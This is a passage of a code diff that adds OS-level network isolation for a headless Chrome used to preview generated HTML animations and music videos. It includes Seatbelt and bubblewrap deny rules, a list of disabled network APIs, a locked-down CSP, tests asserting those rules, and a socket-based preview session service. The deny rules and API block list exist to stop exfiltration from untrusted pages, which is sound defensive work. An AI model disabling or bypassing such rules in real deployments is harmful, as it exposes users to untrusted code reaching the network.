- const guarded = `<script>for (const key of ['RTCPeerConnection', 'webkitRTCPeerConnection', 'WebTransport', 'Worker', 'SharedWorker', 'WebSocket']) {
- Object.defineProperty(globalThis, key, { configurable: false, writable: false,
- value: function() { throw new Error(key + ' is disabled in previews'); } });
- }</script>${html}`;
- return `<!doctype html><html><head><meta http-equiv="Content-Security-Policy" content="${GENERATED_PREVIEW_CSP}"><style>html,body,iframe{margin:0;width:100%;height:100%;border:0;overflow:hidden}</style></head><body><script>(() => {
- const revision = ${literal(revision)};
- const fromChild = new Set(${literal(fromChild)});
- const toChild = new Set(${literal(toChild)});
- const frame = document.createElement('iframe');
- frame.sandbox = 'allow-scripts';
- frame.allow = 'autoplay';
- frame.referrerPolicy = 'no-referrer';
- frame.srcdoc = ${literal(guarded)};
- let active = true;
- let loaded = false;
- const stop = () => { active = false; window.removeEventListener('message', relay); };
- const relay = (event) => {
- if (!active || !event.data || typeof event.data !== 'object') return;
- if (event.source === parent && toChild.has(event.data.type)) {
- frame.contentWindow.postMessage(event.data, '*');
- } else if (event.source === frame.contentWindow && fromChild.has(event.data.type)) {
- parent.postMessage({ ...event.data, previewRevision: revision }, '*');
- }
+/**
+ * How to spawn the preview browser, or a refusal. `isolation: 'off'` is the
+ * negative control used by the egress test (no OS jail and no network flags).
+ * Production previews pass `'required'`. `'os'` is the collector proof: the same
+ * jail, without Chrome's network flags, so silence is attributable to the OS.
+ */
+export function previewIsolationPlan({
+ platform,
+ seatbeltAvailable,
+ bubblewrapAvailable,
+ executable,
+ profileDir,
+ dropSandbox = false,
+ isolation = 'required',
+ hostResolverSockets = [],
+}) {
+ const denyNetwork = isolation !== 'off' && isolation !== 'os';
+ const chromeArgs = _previewChromeArgs(profileDir, { denyNetwork, dropSandbox });
+ if (isolation === 'off') {
+ return { supported: true, mechanism: 'none', command: executable, args: chromeArgs, reason: null };
+ }
+ if (platform === 'darwin' && seatbeltAvailable) {
+ return {
+ supported: true,
+ mechanism: 'macos-seatbelt',
+ command: PREVIEW_SEATBELT,
+ args: ['-p', _previewSeatbeltProfile(), executable, ...chromeArgs],
+ reason: null,
+ };
+ }
+ if (platform === 'linux' && bubblewrapAvailable) {
+ return {
+ supported: true,
+ mechanism: 'linux-bubblewrap',
+ command: PREVIEW_BUBBLEWRAP,
+ args: _previewBubblewrapArgs(executable, chromeArgs, hostResolverSockets),
+ reason: null,
};
- // A second document never inherits a bridge, even for a non-network navigation.
- frame.addEventListener('load', () => { if (loaded) stop(); loaded = true; });
- window.addEventListener('message', relay);
- window.addEventListener('pagehide', stop, { once: true });
- document.body.append(frame);
- })();</script></body></html>`;
+ }
+ const reason = platform === 'darwin'
+ ? 'macOS Seatbelt (/usr/bin/sandbox-exec) is unavailable, so generated previews cannot run.'
+ : platform === 'linux'
+ ? 'Linux bubblewrap (/usr/bin/bwrap) is unavailable, so generated previews cannot run.'
+ : `Generated previews have no enforced network isolation on ${platform}. Firefox and WebKit are not used.`;
+ return { supported: false, mechanism: null, command: null, args: [], reason };
}
diff --git a/server/lib/generatedPreviewSandbox.test.js b/server/lib/generatedPreviewSandbox.test.js
new file mode 100644
index 0000000000..ed6eceb8ff
--- /dev/null
+++ b/server/lib/generatedPreviewSandbox.test.js
@@ -0,0 +1,90 @@
+import { describe, expect, it } from 'vitest';
+import {
+ PREVIEW_PAGE_CSP,
+ _previewBubblewrapArgs,
+ _previewChromeArgs,
+ previewIsolationPlan,
+ _previewSeatbeltProfile,
+} from './generatedPreviewSandbox.js';
+
+describe('generated preview isolation plan', () => {
+ const executable = '/synthetic/chrome';
+ const profileDir = '/tmp/portos-preview-profile';
+
+ it('denies IP networking in the Seatbelt profile and still allows unix sockets', () => {
+ const profile = _previewSeatbeltProfile();
+ const deny = profile.indexOf('(deny network*)');
+ const allowUnix = profile.indexOf('(allow network-outbound (remote unix-socket))');
+ const denyResolver = profile.indexOf('(literal "/private/var/run/mDNSResponder")');
+ expect(profile).toContain('(deny system-socket (socket-domain AF_INET))');
+ expect(profile).toContain('(deny system-socket (socket-domain AF_INET6))');
+ expect(profile).toContain('(allow network-bind (local unix-socket))');
+ expect(profile).toContain('com.apple.dnssd.service');
+ expect(allowUnix).toBeGreaterThan(deny);
+ expect(denyResolver).toBeGreaterThan(allowUnix);
+ });
+
+ it('wraps Chrome with Seatbelt on macOS and does not bypass the dead proxy', () => {
+ const plan = previewIsolationPlan({
+ platform: 'darwin', seatbeltAvailable: true, bubblewrapAvailable: false, executable, profileDir,
+ });
+ expect(plan).toMatchObject({ supported: true, mechanism: 'macos-seatbelt', command: '/usr/bin/sandbox-exec' });
+ expect(plan.args[0]).toBe('-p');
+ expect(plan.args).toContain(executable);
+ expect(plan.args).toContain('--remote-debugging-pipe');
+ expect(plan.args).toContain('--proxy-server=http://127.0.0.1:9');
+ expect(plan.args.join('\n')).not.toContain('proxy-bypass');
+ expect(plan.args).not.toContain('--remote-debugging-port=0');
+ });
+
+ it('uses an empty network namespace on Linux', () => {
+ const chromeArgs = _previewChromeArgs(profileDir);
+ const plan = previewIsolationPlan({
+ platform: 'linux', seatbeltAvailable: false, bubblewrapAvailable: true, executable, profileDir,
+ });
+ expect(plan.command).toBe('/usr/bin/bwrap');
+ expect(plan.args).toEqual(_previewBubblewrapArgs(executable, chromeArgs));
+ expect(plan.args).toContain('--unshare-net');
+ expect(plan.args).toContain('--die-with-parent');
+ const covered = previewIsolationPlan({
+ platform: 'linux', seatbeltAvailable: false, bubblewrapAvailable: true, executable, profileDir,
+ hostResolverSockets: ['/run/systemd/resolve/io.systemd.Resolve'],
+ });
+ const rootBind = covered.args.indexOf('/');
+ const cover = covered.args.indexOf('/run/systemd/resolve/io.systemd.Resolve');
+ expect(covered.args.slice(cover - 2, cover + 1)).toEqual([
+ '--ro-bind-try', '/dev/null', '/run/systemd/resolve/io.systemd.Resolve',
+ ]);
+ expect(cover).toBeGreaterThan(rootBind);
+ });
+
+ it('refuses Windows and a host missing its mechanism', () => {
+ expect(previewIsolationPlan({
+ platform: 'win32', seatbeltAvailable: false, bubblewrapAvailable: false, executable, profileDir,
+ })).toMatchObject({ supported: false, mechanism: null });
+ expect(previewIsolationPlan({
+ platform: 'linux', seatbeltAvailable: false, bubblewrapAvailable: false, executable, profileDir,
+ }).reason).toMatch(/bubblewrap/);
+ expect(previewIsolationPlan({
+ platform: 'darwin', seatbeltAvailable: false, bubblewrapAvailable: true, executable, profileDir,
+ }).supported).toBe(false);
+ });
+
+ it('keeps the negative-control launch free of the network flags', () => {
+ const plan = previewIsolationPlan({
+ platform: 'darwin', seatbeltAvailable: true, bubblewrapAvailable: false, executable, profileDir, isolation: 'off',
+ });
+ expect(plan).toMatchObject({ supported: true, mechanism: 'none', command: executable });
+ expect(plan.args).toContain('--remote-debugging-pipe');
+ expect(plan.args.join('\n')).not.toContain('webrtc');
+ expect(plan.args.join('\n')).not.toContain('proxy-server');
+ expect(plan.args.join('\n')).not.toContain('host-resolver-rules');
+ });
+
+ it('keeps the page policy closed to connections, frames, and workers', () => {
+ expect(PREVIEW_PAGE_CSP).toContain("connect-src 'none'");
+ expect(PREVIEW_PAGE_CSP).toContain("frame-src 'none'");
+ expect(PREVIEW_PAGE_CSP).toContain("worker-src 'none'");
+ expect(PREVIEW_PAGE_CSP).not.toContain('http:');
+ });
+});
diff --git a/server/lib/index.js b/server/lib/index.js
index ebfe971f90..9a94a17786 100644
--- a/server/lib/index.js
+++ b/server/lib/index.js
@@ -22,6 +22,7 @@ export * from './apiContractSchemas.js';
export * from './codeAnimationPackage.js';
export * from './codeAnimationAcceptance.js';
export * from './codeAnimationContainment.js';
+export * from './generatedPreviewSandbox.js';
export * from './autonomousJobTask.js';
export * from './asyncApiSpec.js';
export * from './avatarVariants.js';
@@ -871,5 +872,3 @@ export * from './deepAudit.js';
export * from './deepAuditCoverage.js';
export * from './auditWorkflow.js';
-
-export * from './generatedPreviewSandbox.js';
diff --git a/server/services/generatedPreview/sessions.js b/server/services/generatedPreview/sessions.js
new file mode 100644
index 0000000000..202d73a1a4
--- /dev/null
+++ b/server/services/generatedPreview/sessions.js
@@ -0,0 +1,627 @@
+/**
+ * Isolated generated-preview sessions (#11157).
+ *
+ * Music-video documents, code-rendered videos, and code animations execute in
+ * the OS-jailed composition browser. The user's browser receives JPEG frames
+ * and, when a page records, bounded WebM slices. It never receives executable
+ * generated HTML or private media bytes.
+ */
+import { randomUUID } from 'node:crypto';
+import { mkdir, rm, writeFile } from 'node:fs/promises';
+import { join } from 'node:path';
+import { z } from 'zod';
+import { PATHS } from '../../lib/fileUtils.js';
+import { PREVIEW_PAGE_CSP } from '../../lib/generatedPreviewSandbox.js';
+
+const MAX_SESSIONS = 3;
+const IDLE_MS = 120_000;
+const RECORDING_CAP = 8 * 1024 * 1024;
+const SLICE_BYTES = 256 * 1024;
+const AUDIO_CAP = 12 * 1024 * 1024;
+const MUSIC_URL = /^\/data\/music\/([^/]+)$/;
+const IDENT = /^[A-Za-z_$][A-Za-z0-9_$]{0,63}$/;
+
+const sessions = new Map();
+const opening = new Map();
+const bySocket = new Map();
+
+const openSchema = z.object({
+ requestId: z.string().uuid(),
+ kind: z.enum(['music-video', 'music-video-code', 'code-animation']),
+ projectId: z.string().min(1).max(80).optional(),
+ jobId: z.string().min(1).max(80).optional(),
+ draft: z.boolean().optional(),
+ lyrics: z.boolean().optional(),
+ withAudio: z.boolean().optional(),
+ revision: z.string().max(500).optional(),
+ html: z.string().max(700_000).optional(),
+ audioUrl: z.string().max(200).optional(),
+ audioGlobal: z.string().max(64).optional(),
+ width: z.number().int().min(16).max(1920).optional(),
+ height: z.number().int().min(16).max(1080).optional(),
+ look: z.record(z.string(), z.unknown()).nullable().optional(),
+ card: z.record(z.string(), z.unknown()).nullable().optional(),
+}).strict();
+
+const seekSchema = z.object({
+ requestId: z.string().uuid(),
+ sessionId: z.string().uuid(),
+ generation: z.number().int().nonnegative(),
+ t: z.number().min(0).max(86400),
+}).strict();
+
+const commandSchema = z.object({
+ requestId: z.string().uuid(),
+ sessionId: z.string().uuid(),
+ generation: z.number().int().nonnegative().optional(),
+ action: z.enum(['film-look', 'title-card', 'record']),
+ look: z.record(z.string(), z.unknown()).nullable().optional(),
+ card: z.record(z.string(), z.unknown()).nullable().optional(),
+ message: z.object({ type: z.string().min(1).max(80) }).strict().optional(),
+}).strict();
+
+const closeSchema = z.object({
+ requestId: z.string().uuid().optional(),
+ sessionId: z.string().uuid().optional(),
+}).strict();
+
+function fail(socket, payload) {
+ socket.emit('generated-preview:error', payload);
+}
+
+function publicFailure(error) {
+ const code = error?.code;
+ if (code === 'PREVIEW_ISOLATION_UNAVAILABLE') {
+ return { code, message: 'Isolated preview is unavailable on this host. Generated HTML is not run in this browser.' };
+ }
+ const safe = new Set(['NOT_ANALYZED', 'NO_TIMED_LYRICS', 'NO_TIMELINE', 'COMPOSITION_DOCUMENT_MISSING', 'NOT_CODE_MODE', 'NOT_FOUND']);
+ if (safe.has(code)) return { code, message: String(error.message || 'Preview unavailable').slice(0, 300) };
+ console.error(`❌ Generated preview failed: ${error?.message || error}`);
+ return { code: 'PREVIEW_FAILED', message: 'The isolated preview could not start.' };
+}
+
+function armIdle(session) {
+ clearTimeout(session.idle);
+ session.idle = setTimeout(() => {
+ closeSession(session.id, 'idle').catch((error) => {
+ console.error(`❌ Generated preview idle close failed: ${error.message}`);
+ });
+ }, IDLE_MS);
+ session.idle.unref?.();
+}
+
+function reserveSlot(socket) {
+ let ids = bySocket.get(socket.id) || [];
+ let pending = [...opening.values()].filter((item) => item.socketId === socket.id);
+ while (ids.length + pending.length >= MAX_SESSIONS) {
+ if (ids.length > 0) {
+ const oldest = ids.shift();
+ bySocket.set(socket.id, ids);
+ closeSession(oldest, 'replaced').catch((error) => {
+ console.error(`❌ Generated preview replace close failed: ${error.message}`);
+ });
+ } else if (pending.length > 0) {
+ const oldestPending = pending.shift();
+ oldestPending.abort.abort();
+ for (const [reqId, item] of opening) {
+ if (item === oldestPending) opening.delete(reqId);
+ }
+ } else {
+ break;
+ }
+ ids = bySocket.get(socket.id) || [];
+ pending = [...opening.values()].filter((item) => item.socketId === socket.id);
+ }
+}
+
+function remember(socket, session) {
+ const ids = bySocket.get(socket.id) || [];
+ if (!ids.includes(session.id)) ids.push(session.id);
+ bySocket.set(socket.id, ids);
+ while (ids.length > MAX_SESSIONS) {
+ const oldest = ids.shift();
+ closeSession(oldest, 'replaced').catch((error) => {
+ console.error(`❌ Generated preview replace close failed: ${error.message}`);
+ });
+ }
+}
+
+export async function closeSession(sessionId, reason = 'closed') {
+ const session = sessions.get(sessionId);
+ if (!session || session.closed) return;
+ session.closed = true;
+ sessions.delete(sessionId);
+ clearTimeout(session.idle);
+ const ids = bySocket.get(session.socket.id);
+ if (ids) {
+ const next = ids.filter((id) => id !== sessionId);
+ if (next.length) bySocket.set(session.socket.id, next);
+ else bySocket.delete(session.socket.id);
+ }
+ session.controller.abort();
+ try { await session.page?.close(); } catch (error) {
+ console.error(`❌ Generated preview browser close failed: ${error.message}`);
+ }
+ if (session.scratchRoot) {
+ await rm(session.scratchRoot, { recursive: true, force: true }).catch((error) => {
+ console.error(`❌ Generated preview scratch cleanup failed: ${error.message}`);
+ });
+ }
+ session.socket.emit('generated-preview:closed', { sessionId, reason });
+}
+
+async function closeGeneratedPreviewsForSocket(socketId) {
+ const ids = [...(bySocket.get(socketId) || [])];
+ bySocket.delete(socketId);
+ for (const [requestId, controller] of opening) {
+ if (controller.socketId === socketId) {
+ controller.abort.abort();
+ opening.delete(requestId);
+ }
+ }
+ await Promise.all(ids.map((id) => closeSession(id, 'disconnect')));
+}
+
+async function capture(page) {
+ const shot = await page.send('Page.captureScreenshot', {
+ format: 'jpeg', quality: 55, fromSurface: true, captureBeyondViewport: false,
+ });
+ return shot?.data || '';
+}
+
+async function applyJson(page, globalName, value) {
+ const literal = JSON.stringify(value ?? null);
+ if (literal.length > 20_000) throw new Error('Preview control is too large');
+ await page.evaluate(`globalThis.${globalName} && globalThis.${globalName}.apply(${literal})`);
+}
+
+async function seekPage(session, t) {
+ const time = Number(t);
+ if (session.kind === 'code-animation') return;
+ if (session.lyrics) {
+ await session.page.evaluate(`window.postMessage({ type: 'portos-mv:seek', t: ${time} }, '*')`);
+ await session.page.evaluate('new Promise((resolve) => setTimeout(resolve, 40))');
+ return;
+ }
+ await session.page.evaluate(`(() => {
+ const time = ${time};
+ window.postMessage({ type: 'mv-code:seek', t: time }, '*');
+ window.postMessage({ type: 'portos-mv:seek', t: time }, '*');
+ const seek = globalThis.portosComposition && globalThis.portosComposition.seek;
+ return typeof seek === 'function' ? seek(time) : null;
+ })()`);
+}
+
+function emitFrame(session, generation, data) {
+ if (!data || session.closed) return;
+ session.socket.emit('generated-preview:frame', {
+ requestId: session.requestId, sessionId: session.id, generation, mime: 'image/jpeg', data,
+ });
+ armIdle(session);
+}
+
+async function runSeek(session, generation, t) {
+ if (session.seekTail) {
+ session.pendingSeek = { generation, t };
+ return;
+ }
+ session.seekTail = (async () => {
+ let next = { generation, t };
+ while (next && !session.closed) {
+ const current = next;
+ session.pendingSeek = null;
+ if (current.generation < session.appliedGeneration) {
+ next = session.pendingSeek;
+ continue;
+ }
+ try {
+ await seekPage(session, current.t);
+ emitFrame(session, current.generation, await capture(session.page));
+ session.appliedGeneration = current.generation;
+ } catch (error) {
+ console.error(`❌ Generated preview seek failed: ${error.message}`);
+ if (!session.closed) fail(session.socket, {
+ requestId: session.requestId, sessionId: session.id, generation: current.generation,
+ message: 'The preview could not move to that time.',
+ });
+ }
+ next = session.pendingSeek;
+ }
+ })().finally(() => { session.seekTail = null; });
+ await session.seekTail;
+}
+
+async function pullRecording(session) {
+ if (session.pulling || session.closed) return;
+ session.pulling = true;
+ try {
+ const info = await session.page.evaluate(`(async () => {
+ const blob = window.__portosLastBlob;
+ if (!(blob instanceof Blob)) return null;
+ if (blob.size > ${RECORDING_CAP}) return { error: 'too-large' };
+ window.__portosRecordingBytes = new Uint8Array(await blob.arrayBuffer());
+ return { bytes: blob.size, mime: blob.type || 'video/webm' };
+ })()`);
+ if (!info) return;
+ if (info.error) {
+ fail(session.socket, { requestId: session.requestId, sessionId: session.id, message: 'The recording is too large to return.' });
+ return;
+ }
+ const count = Math.ceil(info.bytes / SLICE_BYTES) || 1;
+ for (let index = 0; index < count; index += 1) {
+ const start = index * SLICE_BYTES;
+ const end = Math.min(info.bytes, start + SLICE_BYTES);
+ const chunk = await session.page.evaluate(`(() => {
+ const bytes = window.__portosRecordingBytes;
+ let text = '';
+ for (let i = ${start}; i < ${end}; i += 1) text += String.fromCharCode(bytes[i]);
+ return btoa(text);
+ })()`);
+ if (session.closed) return;
+ session.socket.emit('generated-preview:recording', {
+ requestId: session.requestId, sessionId: session.id, generation: session.appliedGeneration,
+ index, count, mime: info.mime, chunk,
+ });
+ }
+ await session.page.evaluate('window.__portosRecordingBytes = null; window.__portosLastBlob = null;');
+ } catch (error) {
+ console.error(`❌ Generated preview recording failed: ${error.message}`);
+ fail(session.socket, { requestId: session.requestId, sessionId: session.id, message: 'The recording could not be returned.' });
+ } finally {
+ session.pulling = false;
+ }
+}
+
+function attachEvents(session) {
+ session.onEvent = (message) => {
+ if (session.closed) return;
+ if (message.method === 'Page.screencastFrame') {
+ const params = message.params || {};
+ emitFrame(session, session.appliedGeneration, params.data);
+ session.page?.send('Page.screencastFrameAck', { sessionId: params.sessionId }).catch(() => {});
+ return;
+ }
+ if (message.method === 'Portos.preview') {
+ const params = message.params || {};
+ session.socket.emit('generated-preview:event', {
+ requestId: session.requestId, sessionId: session.id, ...params,
+ });
+ if (params.hasBlob) pullRecording(session).catch(() => {});
+ return;
+ }
+ if (message.method === 'Portos.pageError') {
+ session.socket.emit('generated-preview:event', {
+ requestId: session.requestId, sessionId: session.id, type: 'error', message: message.params?.message || '',
+ });
+ }
+ };
+}
+
+const UPLOAD_AUDIO_URL = /^\/api\/uploads\/([^/]+)$/;
+
+async function inlineLibraryAudio(url) {
+ const musicName = MUSIC_URL.exec(String(url || ''))?.[1];
+ const uploadName = !musicName ? UPLOAD_AUDIO_URL.exec(String(url || ''))?.[1] : null;
+ let path = null;
+ let name = '';
+ if (musicName) {
+ name = musicName;
+ const { resolveMusicTrackPath } = await import('../pipeline/audioMux.js');
+ path = await resolveMusicTrackPath(name);
+ } else if (uploadName) {
+ name = decodeURIComponent(uploadName);
+ const { makePathResolver } = await import('../../lib/pathSafety.js');
+ const { UPLOAD_AUDIO_EXTENSIONS } = await import('../../lib/mimeTypes.js');
+ const resolveUpload = makePathResolver(() => PATHS.uploads, { extensions: UPLOAD_AUDIO_EXTENSIONS });
+ path = resolveUpload(name);
+ } else {
+ return null;
+ }
+ if (!path) return null;
+ const { stat, readFile } = await import('node:fs/promises');
+ const info = await stat(path).catch(() => null);
+ if (!info || !info.isFile() || info.size <= 0 || info.size > AUDIO_CAP) return null;
+ const lower = name.toLowerCase();
+ const mime = lower.endsWith('.wav')
+ ? 'audio/wav'
+ : lower.endsWith('.ogg')
+ ? 'audio/ogg'
+ : lower.endsWith('.m4a')
+ ? 'audio/mp4'
+ : 'audio/mpeg';
+ return `data:${mime};base64,${(await readFile(path)).toString('base64')}`;
+}
+
+function injectPolicy(html, { csp, audioGlobal, audioDataUrl }) {
+ const stripped = String(html).replace(/<meta\b[^>]*http-equiv\s*=\s*["']?Content-Security-Policy["']?[^>]*>/gi, '');
+ const audio = audioDataUrl && IDENT.test(String(audioGlobal || ''))
+ ? `<script>window[${JSON.stringify(audioGlobal)}] = ${JSON.stringify(audioDataUrl).replace(/</g, '\\u003c')};</script>`
+ : '';
+ const tags = `<meta http-equiv="Content-Security-Policy" content="${csp}">${audio}`;
+ const head = stripped.match(/<head[^>]*>/i);
+ if (!head) return `${tags}${stripped}`;
+ const at = head.index + head[0].length;
+ return `${stripped.slice(0, at)}${tags}${stripped.slice(at)}`;
+}
+
+async function writeComposition(sessionId, html) {
+ const scratchRoot = join(PATHS.data, 'music-video-song-renders', `preview-${sessionId}`);
+ const composition = join(scratchRoot, 'composition');
+ await mkdir(composition, { recursive: true });
+ await writeFile(join(composition, 'index.html'), html);
+ return { scratchRoot, directory: `music-video-song-renders/preview-${sessionId}/composition`, composition };
+}
+
+async function openDirectory(session, directory, { width, height, csp, screencast }) {
+ const { openComposition } = await import('../htmlComposition/browser.js');
+ const page = await openComposition(directory, {
+ signal: session.controller.signal,
+ ownedBrowser: true,
+ isolation: 'required',
+ streamMedia: true,
+ contentSecurityPolicy: csp,
+ previewBridge: true,
+ refuseUnknown: 'empty',
+ lockLoopback: true,
+ onEvent: (message) => session.onEvent?.(message),
+ });
+ session.page = page;
+ if (width && height) {
+ await page.send('Emulation.setDeviceMetricsOverride', { width, height, deviceScaleFactor: 1, mobile: false });
+ }
+ if (screencast) {
+ await page.send('Page.startScreencast', {
+ format: 'jpeg', quality: 45, everyNthFrame: 2, maxWidth: width || 1280, maxHeight: height || 720,
+ });
+ }
+ return page;
+}
+
+async function startMusicVideo(session, input) {
+ const { getProject } = await import('../musicVideo/projects.js');
+ const project = await getProject(input.projectId);
+ if (input.draft && !project?.composition?.documentDraft) {
+ const error = new Error('No composition candidate to preview');
+ error.code = 'NOT_FOUND';
+ throw error;
+ }
+ const source = input.draft
+ ? { ...project, composition: { ...project.composition, document: project.composition.documentDraft } }
+ : project;
+ if (input.lyrics) {
+ const { buildLyricPlaythroughPreview } = await import('../musicVideo/lyricPlaythrough.js');
+ const { PREVIEW_CSP } = await import('../musicVideo/documentPreview.js');
+ const preview = await buildLyricPlaythroughPreview(source);
+ const written = await writeComposition(session.id, preview.html);
+ session.scratchRoot = written.scratchRoot;
+ session.lyrics = true;
+ const page = await openDirectory(session, written.directory, {
+ width: preview.width, height: preview.height, csp: `sandbox allow-scripts; ${PREVIEW_CSP}`, screencast: false,
+ });
+ await page.evaluate(`window.postMessage({ type: 'portos-mv:manifest', keys: [] }, '*')`);
+ await page.evaluate(`window.postMessage({ type: 'portos-mv:title-card', card: ${JSON.stringify(input.card ?? null)} }, '*')`);
+ await seekPage(session, 0);
+ return {
+ width: preview.width, height: preview.height, fps: preview.fps, durationSec: preview.durationSec,
+ revision: input.revision || '', frame: await capture(page),
+ };
+ }
+ const { openIsolatedDocumentPreview } = await import('../musicVideo/documentRender.js');
+ const opened = await openIsolatedDocumentPreview({
+ project: source, jobId: `preview-${session.id}`, signal: session.controller.signal,
+ onEvent: (message) => session.onEvent?.(message),
+ });
+ session.page = opened.page;
+ session.scratchRoot = opened.scratchRoot;
+ // The first frame is captured after this seek. Apply the live controls first
+ // so that frame is already graded and titled.
+ await applyJson(opened.page, '__portosFilmLook', input.look ?? null);
+ await applyJson(opened.page, '__portosTitleCard', input.card ?? null);
+ await seekPage(session, 0);
+ const pointer = source.composition?.document;
+ return {
+ width: opened.width, height: opened.height, fps: opened.fps, durationSec: opened.durationSec,
+ revision: `${pointer?.directory || ''}|${pointer?.updatedAt || ''}`,
+ frame: await capture(opened.page),
+ };
+}
+
+async function startCodeVideo(session, input) {
+ const { getProject } = await import('../musicVideo/projects.js');
+ const { prepareCodeRender } = await import('../musicVideo/codeRender.js');
+ const project = await getProject(input.projectId);
+ const doc = prepareCodeRender(project);
+ const written = await writeComposition(session.id, doc.html);
+ session.scratchRoot = written.scratchRoot;
+ await writeFile(join(written.composition, 'song.json'), JSON.stringify(doc.song || {}));
+ const page = await openDirectory(session, written.directory, {
+ width: doc.width, height: doc.height, csp: PREVIEW_PAGE_CSP, screencast: false,
+ });
+ await seekPage(session, 0);
+ return {
+ width: doc.width, height: doc.height, fps: doc.fps, durationSec: doc.durationSec,
+ revision: input.revision || String(project.composition?.codeVideo?.generatedAt || ''),
+ frame: await capture(page),
+ };
+}
+
+async function startCodeAnimation(session, input) {
+ let html = input.html || '';
+ let audioUrl = input.audioUrl || '';
+ if (input.jobId) {
+ const { getCodeAnimationJob } = await import('../codeAnimation/index.js');
+ const job = await getCodeAnimationJob(input.jobId);
+ if (!job?.html) {
+ const error = new Error('Generated animation is not available');
+ error.code = 'NOT_FOUND';
+ throw error;
+ }
+ html = job.html;
+ audioUrl = job.audioUrl || audioUrl;
+ }
+ if (!html) {
+ const error = new Error('Generated animation is not available');
+ error.code = 'NOT_FOUND';
+ throw error;
+ }
+ const { importsThree, injectThreeImportMap, threeStagedFiles } = await import('../codeAnimation/threeVendor.js');
+ let pageHtml = importsThree(html) ? injectThreeImportMap(html) : html;
+ let audio = 'none';
+ let audioDataUrl = null;
+ if (input.withAudio) {
+ audioDataUrl = await inlineLibraryAudio(audioUrl);
+ audio = audioDataUrl ? 'ready' : 'unavailable';
+ }
+ pageHtml = injectPolicy(pageHtml, { csp: PREVIEW_PAGE_CSP, audioGlobal: input.audioGlobal, audioDataUrl });
+ const written = await writeComposition(session.id, pageHtml);
+ session.scratchRoot = written.scratchRoot;
+ if (importsThree(html)) {
+ for (const file of await threeStagedFiles()) {
+ const target = join(written.composition, file.rel);
+ await mkdir(join(target, '..'), { recursive: true });
+ await writeFile(target, file.data);
+ }
+ }
+ const width = input.width || 1280;
+ const height = input.height || 720;
+ const page = await openDirectory(session, written.directory, { width, height, csp: PREVIEW_PAGE_CSP, screencast: true });
+ return {
+ width, height, fps: 30, durationSec: 0, revision: input.revision || input.jobId || 'pasted',
+ audio, frame: await capture(page),
+ };
+}
+
+async function openGeneratedPreview(socket, data) {
+ const parsed = openSchema.safeParse(data);
+ if (!parsed.success) {
+ fail(socket, { requestId: data?.requestId, message: 'The preview request was not valid.' });
+ return;
+ }
+ const input = parsed.data;
+ if ((input.kind === 'music-video' || input.kind === 'music-video-code') && !input.projectId) {
+ fail(socket, { requestId: input.requestId, message: 'The preview request was not valid.' });
+ return;
+ }
+ if (input.kind === 'code-animation' && !input.jobId && !input.html) {
+ fail(socket, { requestId: input.requestId, message: 'The preview request was not valid.' });
+ return;
+ }
+ reserveSlot(socket);
+ const controller = new AbortController();
+ opening.set(input.requestId, { abort: controller, socketId: socket.id });
+ const session = {
+ id: randomUUID(),
+ requestId: input.requestId,
+ kind: input.kind,
+ socket,
+ controller,
+ closed: false,
+ page: null,
+ scratchRoot: null,
+ lyrics: false,
+ appliedGeneration: 0,
+ pendingSeek: null,
+ seekTail: null,
+ pulling: false,
+ onEvent: () => {},
+ };
+ attachEvents(session);
+ try {
+ const started = input.kind === 'music-video'
+ ? await startMusicVideo(session, input)
+ : input.kind === 'music-video-code'
+ ? await startCodeVideo(session, input)
+ : await startCodeAnimation(session, input);
+ if (controller.signal.aborted || session.closed) {
+ session.page = session.page || null;
+ await closeSession(session.id, 'canceled').catch(() => {});
+ if (session.page) await session.page.close().catch(() => {});
+ if (session.scratchRoot) await rm(session.scratchRoot, { recursive: true, force: true }).catch(() => {});
+ return;
+ }
+ sessions.set(session.id, session);
+ remember(socket, session);
+ armIdle(session);
+ socket.emit('generated-preview:opened', {
+ requestId: input.requestId,
+ sessionId: session.id,
+ kind: input.kind,
+ width: started.width,
+ height: started.height,
+ fps: started.fps,
+ durationSec: started.durationSec,
+ revision: started.revision,
+ audio: started.audio || 'none',
+ });
+ emitFrame(session, 0, started.frame);
+ } catch (error) {
+ if (session.page) await session.page.close().catch(() => {});
+ if (session.scratchRoot) await rm(session.scratchRoot, { recursive: true, force: true }).catch(() => {});
+ if (controller.signal.aborted) return;
+ const published = publicFailure(error);
+ if (published.code === 'PREVIEW_ISOLATION_UNAVAILABLE') {
+ socket.emit('generated-preview:unavailable', { requestId: input.requestId, ...published });
+ } else {
+ fail(socket, { requestId: input.requestId, ...published });
+ }
+ } finally {
+ opening.delete(input.requestId);
+ }
+}
+
+async function seekGeneratedPreview(socket, data) {
+ const parsed = seekSchema.safeParse(data);
+ if (!parsed.success) return;
+ const session = sessions.get(parsed.data.sessionId);
+ if (!session || session.socket.id !== socket.id || session.closed) return;
+ await runSeek(session, parsed.data.generation, parsed.data.t);
+}
+
+async function commandGeneratedPreview(socket, data) {
+ const parsed = commandSchema.safeParse(data);
+ if (!parsed.success) return;
+ const session = sessions.get(parsed.data.sessionId);
+ if (!session || session.socket.id !== socket.id || session.closed) return;
+ armIdle(session);
+ try {
+ if (parsed.data.action === 'film-look') await applyJson(session.page, '__portosFilmLook', parsed.data.look ?? null);
+ else if (parsed.data.action === 'title-card') await applyJson(session.page, '__portosTitleCard', parsed.data.card ?? null);
+ else if (parsed.data.action === 'record' && parsed.data.message) {
+ await session.page.evaluate(`window.postMessage({ type: ${JSON.stringify(parsed.data.message.type)} }, '*')`);
+ }
+ if (session.kind !== 'code-animation') emitFrame(session, session.appliedGeneration, await capture(session.page));
+ } catch (error) {
+ console.error(`❌ Generated preview command failed: ${error.message}`);
+ fail(socket, { requestId: session.requestId, sessionId: session.id, message: 'The preview could not apply that change.' });
+ }
+}
+
+function guard(socket, event, fn) {
+ socket.on(event, (data) => {
+ Promise.resolve().then(() => fn(socket, data)).catch((error) => {
+ console.error(`❌ Generated preview ${event} failed: ${error.message}`);
+ fail(socket, { message: 'The isolated preview could not continue.' });
+ });
+ });
+}
+
+export function registerGeneratedPreviewHandlers(socket) {
+ guard(socket, 'generated-preview:open', openGeneratedPreview);
+ guard(socket, 'generated-preview:seek', seekGeneratedPreview);
+ guard(socket, 'generated-preview:command', commandGeneratedPreview);
+ guard(socket, 'generated-preview:close', async (current, data) => {
+ const parsed = closeSchema.safeParse(data || {});
+ if (!parsed.success) return;
+ const pending = parsed.data.requestId && opening.get(parsed.data.requestId);
+ if (pending?.socketId === current.id) pending.abort.abort();
+ if (parsed.data.sessionId) {
+ const session = sessions.get(parsed.data.sessionId);
+ if (session?.socket.id === current.id) await closeSession(session.id, 'closed');
+ }
+ });
